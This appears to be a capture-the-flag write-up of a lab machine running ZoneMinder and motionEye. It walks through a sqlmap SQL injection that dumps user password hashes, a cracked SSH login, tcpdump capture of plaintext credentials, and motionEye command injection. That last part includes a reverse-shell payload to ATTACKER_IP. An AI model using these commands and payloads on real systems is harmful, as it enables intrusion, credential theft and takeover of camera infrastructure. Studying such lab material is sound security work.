Enumeration

Starting Nmap 7.98 (https://nmap.org) at 2026-03-12 08:21 +0000
Nmap scan report for cctv.htb (10.129.231.158)
Host is up (0.12s latency).
Not shown: 601 closed tcp ports (reset), 397 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_  256 76:1d:73:98:fa:05:f7:0b:04:c2:3b:c4:7d:e6:db:4a (ECDSA)
80/tcp open  http    Apache httpd 2.4.58
|_http-title: SecureVision CCTV & Security Solutions
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.75 seconds

Port 80 was detected to be open.

echo '10.129.231.158 cctv.htb' | sudo tee -a /etc/hosts

Web

We attempted to log in to the administration interface using the default credentials “admin:admin”.

The version detected was v1.37.63. A related CVE (CVE-2024-51482) was found at: https://www.penligent.ai/hackinglabs/zoneminder-v1-37-63-cve-the-vulnerability-security-teams-are-actually-looking-for/

CVE-2024-51482 is an SQL injection vulnerability affecting ZoneMinder, an open-source CCTV monitoring platform. Attackers can exploit this vulnerability by crafting malicious requests to manipulate database queries, potentially leading to data theft or even system control.

Here is a detailed overview of the vulnerability (common in penetration testing/CTF scenarios):

Basic Information about the Vulnerability

| Project | CVE-2024-51482 | | Type | SQL Injection | | Affected Software | ZoneMinder | | Affected Versions | v1.37. ≤ 1.37.64 | | Fixed Version | 1.37.65 | | Attack Method | Remote web requests | | Consequences | Data leakage, privilege escalation, system control |

The vulnerability arises from the web interface’s failure to properly filter user input, allowing attackers to inject malicious SQL code into database queries.

Vulnerability Location

The vulnerability is located in the file:

web/ajax/event.php`

Specifically, within the removetag function.

The code directly uses user input as follows:

$tagId = $_REQUEST['tid'];
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";

Since the tid parameter is not securely filtered, attackers can insert SQL statements.

Vulnerability Trigger Point

The vulnerable interface is:

/zm/index.php?view=request&request=event&action=removetag&tid=1

In this request, the tid parameter can be used to inject SQL code.

Types of SQL Injection

There are mainly two types of SQL injection attacks that can be carried out through this vulnerability:

1️⃣ Boolean-based SQL Injection

This type of injection relies on true or false conditions to manipulate the database content. For example:

tid=1 AND 1=1
tid=1 AND 1=2

The difference in the page response is used to determine the validity of the input.

2️⃣ Time-based Blind SQL Injection

This injection method relies on delaying the server’s response to determine the success of the attack. For example:

tid=1 AND SLEEP(5)

If the server delays for 5 seconds, it indicates that the injection was successful.

Vulnerability Impact

If a vulnerability is exploited successfully, attackers can:

1️⃣ Retrieve Database Information

For example:

information_schema
zm database

2️⃣ Expose User Credentials

Attackers can access the zmUsers table to steal usernames and passwords, such as:

admin : hash

3️⃣ Gain Server Access

A typical attack chain might look like this:

SQL Injection
↓
Dump credentials
↓
SSH login
↓
Privilege escalation

For example, on certain targets:

ZoneMinder SQLi
↓
Dump mark: opensesame
↓
SSH login

CVSS Risk Level

According to CVSS v3:

Attack Vector: Network
Attack Complexity: Low
Privileges Required: Low
User Interaction: None
Impact: High

This means the vulnerability is:

• Remotely exploitable
• Low in complexity
• Highly impactful

Attackers can potentially gain full control of the database.

Vulnerability Exploitation (Penetration Testing)

Common steps include:

1️⃣ Discovering ZoneMinder

http://target/zm

2️⃣ Verifying the Version

/zm/api/host/getVersion.json

3️⃣ Performing SQL Injection

Test the vulnerability with:

/zm/index.php?view=request&request=event&action=removetag&tid=1

4️⃣ Using Tools

For example:

sqlmap-u "http://target/zm/index.php?view=request&request=event&action=removetag&tid=1"

5️⃣ Dumping User Information

database: zm
table: Users

6️⃣ Gaining System Access

Attackers can then access the system via:

• SSH
• Admin panels
• APIs

Fixing the Vulnerability

The official fix is to upgrade to ZoneMinder version 1.37.65. Fixations include:

• Parameter validation
• Using safe SQL queries
• Preventing the direct concatenation of user input with SQL statements

Why This Vulnerability is Dangerous

ZoneMinder is often deployed in:

• Enterprise monitoring systems
• Security systems
• Industrial environments

As a result, attackers can:

• Steal monitoring data
• Delete videos
• Control cameras
• Gain access to internal networks

This makes it a high-risk vulnerability for security systems.

✅ Summary in One Sentence

CVE-2024-51482 is a SQL injection vulnerability in ZoneMinder that allows attackers to manipulate database queries using the tid parameter, potentially leading to the theft of user credentials and further control of the server.

Exploitation

sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \
    --cookie="ZMSESSID=<cookie_from_developer_tools>" \
    -p tid --dbms=mysql --batch -D zm -T Users --dump

+------------+--------------------------------------------------------------+
| Username   | Password                                                     |
+------------+--------------------------------------------------------------+
| admin      | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| mark       | $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
| superadmin | $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m |
+------------+--------------------------------------------------------------+

Cracking the password hash:

echo '$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.' > mark_hash

We obtained the password mark:opensesame.

Attempting to log in to the mark account using SSH:

mark@cctv:~$ ss -tulnp Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process udp UNCONN 0 0 127.0.0.54:53 0.0.0.0:* udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:* udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:* tcp LISTEN 0 4096 0.0.0.0:22 0.0.0.0:* tcp LISTEN 0 128 127.0.0.1:8765 0.0.0.0:* tcp LISTEN 0 4096 127.0.0.1:8888 0.0.0.0:* tcp LISTEN 0 4096 127.0.0.1:9081 0.0.0.0:* tcp LISTEN 0 4096 127.0.0.1:8554 0.0.0.0:* tcp LISTEN 0 70 127.0.0.1:33060 0.0.0.0:* tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:* tcp LISTEN 0 4096 127.0.0.1:7999 0.0.0.0:* tcp LISTEN 0 4096 127.0.0.1:1935 0.0.0.0:* tcp LISTEN 0 151 127.0.0.1:3306 0.0.0.0:* tcp LISTEN 0 4096 127.0.0.54:53 0.0.0.0:* tcp LISTEN 0 4096 [::]:22 [::]:* tcp LISTEN 0 511 *:80 :

---

# motionEye

```bash
curl 127.0.0.1:8765
# A page is returned.

Forward the port

ssh -L 8765:127.0.0.1:8765 mark@cctv.htb

MotionEye is detected, and it is a login page.

Checking the source code reveals version → 0.43.1b4. A CVE (Common Vulnerability and Exposure) with ID CVE-2025-60787 was found.

CVE-2025-60787 is a Remote Code Execution (RCE) vulnerability in motionEye (a monitoring camera management system), which is essentially an OS Command Injection vulnerability. This type of vulnerability is common in CCTV/camera monitoring platform environments, making it quite typical in penetration testing or on HTB (Hacking The Box) targets.

I. Basic Information about the Vulnerability

This vulnerability allows an attacker to execute any system command on the server.

II. Root Cause of the Vulnerability

In the motionEye Web UI, there are configuration fields such as image_file_name and movie_filename. When a user inputs data, it is directly written to the camera-*.conf configuration files. The issue lies in the following:

• The backend does not filter out special characters.
• The user input is written to the configuration files without any validation.
• When motionEye parses the configuration, it executes the shell syntax.

For example, an input like $(touch /tmp/pwned) is interpreted as a shell command and executed.

III. How the Vulnerability is Exploited

The attack process works as follows:

1. The attacker logs in to motionEye.
2. The attacker modifies the image_file_name configuration parameter.
3. The attacker injects a shell payload into the configuration.
4. The modified configuration is written to the camera-1.conf file.
5. The motionEye service restarts.
6. The injected payload is executed.

IV. Simple Proof of Concept (PoC) Example

In the motionEye Web UI, go to Settings → Still Images → Image File Name and enter the following:

$(touch /tmp/test).%Y-%m-%d-%H-%M-%S

When motionEye reloads the configuration, the file /tmp/test is created, indicating that the command was successfully executed.

V. Actual Attack Payload

The attacker can obtain a shell with the following command:

$(bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1')

By listening on port 4444 with nc -lvnp, the attacker can receive a rebound shell.

VI. Impact of the Vulnerability

If successfully exploited, the attacker can:

• Execute any system command.
• Gain access to the server shell.
• Control the motionEye container.
• In some cases, the attacker can also control the host machine.

In severe cases, the entire monitoring system can be taken over.

VII. Vulnerability Fixing Methods

The official fixes include:

1. Strict filtering of configuration parameters: Only characters from the sets a-z A-Z 0-9, %, -, _, /, and . are allowed.
2. Adding input validation on the backend.
3. Upgrading to the fixed version of motionEye.

VIII. Scenarios of Exploitation in Penetration Testing

A typical attack chain might look like this:

1. Weak passwords or SQL injection are used to log in to the motionEye admin account.
2. The attacker modifies the image_file_name parameter.
3. A command injection attack is carried out.
4. A rebound shell is established.

IX. Why Such Vulnerabilities are Common in CCTV/Camera Systems

This is because:

• Monitoring systems frequently use shell scripts.
• Configuration files are often directly referenced.
• There are multiple layers of interfaces (Web UI → configuration files → shell scripts).

Therefore, command injection attacks are very common in these systems.

X. The Significance in an HTB/ penetration Environment

If the targets are:

CCTV
motionEye
ZoneMinder

and the following files are found:

camera.conf
motion
rtsp

then CVE-2025-60787 is a very common vulnerability that can be exploited for privilege escalation.

✅ One-Sentence Summary

CVE-2025-60787 is a command injection vulnerability in motionEye due to unfiltered configuration parameters. Attackers can execute arbitrary system commands on the server by manipulating the file name fields in the Web UI, thereby obtaining a remote shell.

This is an authenticated RCE (Remote Code Execution) vulnerability.

1. Bypassing Front-End Validation

Inputting non-standard characters results in a “ok” response, indicating that the validation is performed on the front-end side. This allows bypassing the front-end restrictions and directly calling the back-end interfaces.

configUiValid = function() { return true; };
# I haven’t figured out exactly how this works here

It is also possible to directly access the back-end endpoint using curl.

2. TCPDump Eavesdropping

cat /opt/video/backups/server.log

This log shows that the user “sa_mark” logs in regularly to the page. By using ifconfig, we can attempt TCPDump monitoring:

tcpdump -i any -nn -A | grep -i sa_mark

We discover the following credentials:

USERNAME=sa_mark;PASSWORD=X1l9fx1ZjS7RZb

With these credentials, we can log in to the website using admin:X1l9fx1ZjS7RZb and then exploit CVE-2025-60787 to gain root access.

Source: https://www.exploit-db.com/exploits/52481